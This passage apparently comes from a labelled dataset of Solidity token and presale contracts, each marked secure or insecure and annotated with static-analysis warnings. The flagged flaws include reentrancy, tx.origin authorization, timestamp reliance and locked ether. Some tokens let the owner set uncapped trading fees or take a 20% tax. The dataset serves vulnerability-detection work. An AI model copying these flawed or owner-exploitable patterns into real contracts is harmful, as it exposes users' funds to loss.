'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyTokensWithUSDT(uint256 usdtAmount) external onlyWhileOpen {\n uint256 numberOfTokens = (usdtAmount * 10 ** 18) / TOKEN_PRICE;\n\n require(totalSold <= tokenCap, \"All Token are Sold.\");\n\n\t\t// reentrancy-events | ID: 342af0f\n\t\t// reentrancy-benign | ID: 5557c18\n\t\t// reentrancy-no-eth | ID: 82d25eb\n require(\n usdtToken.transferFrom(msg.sender, address(this), usdtAmount),\n \"Token transfer failed\"\n );\n\n\t\t// reentrancy-benign | ID: 5557c18\n buyAmount[msg.sender] += numberOfTokens;\n\n\t\t// reentrancy-no-eth | ID: 82d25eb\n totalSold += numberOfTokens;\n\n\t\t// reentrancy-benign | ID: 5557c18\n claimableTokens[msg.sender] += numberOfTokens;\n\n\t\t// reentrancy-events | ID: 342af0f\n emit TokensPurchased(msg.sender, numberOfTokens, usdtAmount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c6643cc): GUARDWALLET.claimTokens() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp > endTime,ICO has not ended yet)\n\t// Recommendation for c6643cc: Avoid relying on 'block.timestamp'.\n function claimTokens() external {\n\t\t// timestamp | ID: c6643cc\n require(block.timestamp > endTime, \"ICO has not ended yet\");\n\n require(claimableTokens[msg.sender] > 0, \"No tokens to claim\");\n\n uint256 tokensToClaim = claimableTokens[msg.sender];\n\n claimableTokens[msg.sender] = 0;\n\n require(\n preSaleToken.transfer(msg.sender, tokensToClaim),\n \"Claim token failed\"\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 12b793e): GUARDWALLET.endICO() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp < endTime,ICO has already ended)\n\t// Recommendation for 12b793e: Avoid relying on 'block.timestamp'.\n function endICO() external onlyAdmin {\n\t\t// timestamp | ID: 12b793e\n require(block.timestamp < endTime, \"ICO has already ended\");\n\n endTime = block.timestamp;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0035d89): GUARDWALLET.withdrawFundsUSD() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp > endTime,ICO has not ended yet)\n\t// Recommendation for 0035d89: Avoid relying on 'block.timestamp'.\n function withdrawFundsUSD() external onlyAdmin {\n\t\t// timestamp | ID: 0035d89\n require(block.timestamp > endTime, \"ICO has not ended yet\");\n\n uint256 contractBalance = preSaleToken.balanceOf(address(this));\n\n require(\n preSaleToken.transfer(admin, contractBalance),\n \"Funds withdrawal failed\"\n );\n }\n\n function getClaimableTokens(address user) external view returns (uint256) {\n return claimableTokens[user];\n }\n}",
"file_name": "solidity_code_1346.sol",
"secure": 0,
"size_bytes": 6645
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4445edf): Contract locking ether found Contract MotoTOBI has payable functions MotoTOBI.receive() But does not have a function to withdraw the ether\n// Recommendation for 4445edf: Remove the 'payable' attribute or add a withdraw function.\ncontract MotoTOBI is ERC20, Ownable {\n constructor() ERC20(unicode\"Moto TOBI\", unicode\"MOTOBI\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4445edf): Contract locking ether found Contract MotoTOBI has payable functions MotoTOBI.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 4445edf: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1347.sol",
"secure": 0,
"size_bytes": 1009
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function per(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= 100, \"Percentage must be between 0 and 100\");\n\n return (a * b) / 100;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}",
"file_name": "solidity_code_1348.sol",
"secure": 1,
"size_bytes": 2800
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract LIE is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c38f32a): LIE.uniswapV2Pair should be immutable \n\t// Recommendation for c38f32a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 70a9707): LIE.devWallet should be immutable \n\t// Recommendation for 70a9707: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private devWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fab7c4e): LIE.marketingWallet should be immutable \n\t// Recommendation for fab7c4e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n uint8 private constant _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1dc946): LIE.initialTotalSupply should be constant \n\t// Recommendation for f1dc946: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 1000000000 * 10 ** _decimals;\n\n uint256 public maxWallet = (initialTotalSupply * 10) / 1000;\n\n uint256 public maxTransactionAmount = maxWallet;\n\n bool private swapping;\n\n uint256 public buyFee = 10;\n\n uint256 public sellFee = 20;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n bool public transferDelayEnabled = true;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n uint256 public swapTokensAtAmount = (initialTotalSupply * 3) / 1000;\n\n bool public tradingOpen = false;\n\n bool public swapEnabled = false;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n constructor() ERC20(\"Lie Terminal\", \"LIE\") {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n marketingWallet = payable(0x922D0e2b493c53587bF4F039BE2cBDB05ECD0a63);\n\n devWallet = payable(_msgSender());\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n excludeFromMaxTransaction(address(_msgSender()), true);\n\n excludeFromMaxTransaction(devWallet, true);\n\n excludeFromFees(address(_msgSender()), true);\n\n excludeFromFees(devWallet, true);\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n _mint(devWallet, initialTotalSupply);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c911e85): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for c911e85: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6455cb1): LIE.addLPToUniswap() ignores return value by IERC20(uniswapV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6455cb1: Ensure that all the return values of the function calls are used.\n function addLPToUniswap() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n _approve(address(this), address(_uniswapV2Router), initialTotalSupply);\n\n\t\t// unused-return | ID: c911e85\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n 0x922D0e2b493c53587bF4F039BE2cBDB05ECD0a63,\n block.timestamp\n );\n\n\t\t// unused-return | ID: 6455cb1\n IERC20(uniswapV2Pair).approve(\n address(_uniswapV2Router),\n type(uint256).max\n );\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n\n swapEnabled = true;\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b53ad69): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b53ad69: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: ebbeed0): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for ebbeed0: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4462d16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4462d16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n transferDelayEnabled &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (\n to != address(_uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: ebbeed0\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number &&\n _holderLastTransferTimestamp[to] < block.number,\n \"_transfer:: Transfer Delay enabled. Try again later.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n\n _holderLastTransferTimestamp[to] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (sellCount < 15) {\n swapping = true;\n\n\t\t\t\t// reentrancy-events | ID: b53ad69\n\t\t\t\t// reentrancy-no-eth | ID: 4462d16\n swapBack();\n\n\t\t\t\t// reentrancy-no-eth | ID: 4462d16\n swapping = false;\n\n\t\t\t\t// reentrancy-no-eth | ID: 4462d16\n sellCount++;\n\n\t\t\t\t// reentrancy-no-eth | ID: 4462d16\n lastSellBlock = block.number;\n }\n }\n\n bool takeFee = !swapping &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to];\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(sellFee).div(100);\n } else if (automatedMarketMakerPairs[from]) {\n fees = amount.mul(buyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: b53ad69\n\t\t\t\t// reentrancy-no-eth | ID: 4462d16\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: b53ad69\n\t\t// reentrancy-no-eth | ID: 4462d16\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b53ad69\n\t\t// reentrancy-no-eth | ID: 4462d16\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n maxTransactionAmount = initialTotalSupply;\n\n maxWallet = initialTotalSupply;\n\n transferDelayEnabled = false;\n }\n\n function manualSwapToken(uint256 percent) external {\n require(_msgSender() == devWallet);\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 swapAmount = (contractBalance * percent) / 100;\n\n swapTokensForEth(swapAmount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7b096b8): LIE.setTheFee(uint256,uint256) should emit an event for sellFee = _sellFee buyFee = _buyFee \n\t// Recommendation for 7b096b8: Emit an event for critical parameter changes.\n function setTheFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n\t\t// events-maths | ID: 7b096b8\n sellFee = _sellFee;\n\n\t\t// events-maths | ID: 7b096b8\n buyFee = _buyFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 152f3ea): LIE.updateTheSwapThreshold(uint256) should emit an event for swapTokensAtAmount = newAmmount * 10 ** _decimals \n\t// Recommendation for 152f3ea: Emit an event for critical parameter changes.\n function updateTheSwapThreshold(uint256 newAmmount) external onlyOwner {\n\t\t// events-maths | ID: 152f3ea\n swapTokensAtAmount = newAmmount * 10 ** _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 463cd08): LIE.withdrawEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for 463cd08: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function withdrawEth() external {\n require(address(this).balance > 0, \"Token: no ETH in the contract\");\n\n require(_msgSender() == devWallet);\n\n\t\t// arbitrary-send-eth | ID: 463cd08\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function tokensWithdraw() external {\n require(_msgSender() == devWallet);\n\n uint256 amount = balanceOf(address(this));\n\n _transfer(address(this), devWallet, amount);\n }\n\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance == 0) {\n return;\n }\n\n uint256 tokensToSwap = contractBalance;\n\n if (tokensToSwap > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}",
"file_name": "solidity_code_1349.sol",
"secure": 0,
"size_bytes": 14974
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function _Transfer(\n address from,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}",
"file_name": "solidity_code_135.sol",
"secure": 1,
"size_bytes": 344
}
|
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public buyTax = 20;\n\n uint256 public sellTax = 20;\n\n address public owner;\n\n modifier onlyOwner() {\n require(\n _msgSender() == owner,\n \"Only the contract owner can call this function.\"\n );\n\n _;\n }\n\n event TaxUpdated(uint256 buyTax, uint256 sellTax);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialSupply\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n owner = _msgSender();\n\n _totalSupply = initialSupply * 10 ** decimals();\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount, false);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount, true);\n\n return true;\n }\n\n function setBuyTax(uint256 _buyTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function setSellTax(uint256 _sellTax) external onlyOwner {\n sellTax = _sellTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount,\n bool isSell\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = isSell\n ? ((amount * sellTax) / 100)\n : ((amount * buyTax) / 100);\n\n uint256 netAmount = amount - taxAmount;\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += netAmount;\n }\n\n emit Transfer(from, to, netAmount);\n\n if (taxAmount > 0) {\n _balances[owner] += taxAmount;\n\n emit Transfer(from, owner, taxAmount);\n }\n\n _afterTokenTransfer(from, to, netAmount);\n }\n\n function _approve(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n ownerAddress != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[ownerAddress][spender] = amount;\n\n emit Approval(ownerAddress, spender, amount);\n }\n\n function _spendAllowance(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(ownerAddress, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(ownerAddress, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function resetAllowance(address spender) public returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, 0);\n\n return true;\n }\n\n function doubleAllowance(address spender) public returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n _approve(sender, spender, currentAllowance * 2);\n\n return true;\n }\n\n function halveAllowance(address spender) public returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n _approve(sender, spender, currentAllowance / 2);\n\n return true;\n }\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(\n owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n owner = address(0x000000000000000000000000000000000000dEaD);\n }\n}",
"file_name": "solidity_code_1350.sol",
"secure": 1,
"size_bytes": 7105
}
|
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EtherToken is ERC20 {\n constructor()\n ERC20(unicode\"Walmart Chicken\", unicode\"CHICKEN\", 1000000000)\n {}\n}",
"file_name": "solidity_code_1351.sol",
"secure": 1,
"size_bytes": 268
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d06a581): Contract locking ether found Contract BTC has payable functions BTC.receive() But does not have a function to withdraw the ether\n// Recommendation for d06a581: Remove the 'payable' attribute or add a withdraw function.\ncontract BTC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0201779): BTC._name should be constant \n\t// Recommendation for 0201779: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Bitcoin 6900\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 38a9f29): BTC._symbol should be constant \n\t// Recommendation for 38a9f29: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BTX\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e42e56): BTC._decimals should be constant \n\t// Recommendation for 4e42e56: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f82d2ff): BTC.Bella should be immutable \n\t// Recommendation for f82d2ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public Bella;\n\n mapping(address => uint256) _balances;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludefromFee;\n\n mapping(address => bool) public _uniswapPair;\n\n mapping(address => uint256) public wends;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4460e8d): BTC._totalSupply should be immutable \n\t// Recommendation for 4460e8d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c38ecd): BTC.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 1c38ecd: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n Bella = payable(address(0x1CF2266eB6Fc1370327F942C0dE586Ad162b4B6F));\n\n _isExcludefromFee[Bella] = true;\n\n _isExcludefromFee[owner()] = true;\n\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 19c945b): BTC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 19c945b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4f1260): BTC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4f1260: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d393274\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 660f343\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d06a581): Contract locking ether found Contract BTC has payable functions BTC.receive() But does not have a function to withdraw the ether\n\t// Recommendation for d06a581: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 660f343): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 660f343: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d393274): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d393274: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 660f343\n\t\t// reentrancy-benign | ID: d393274\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 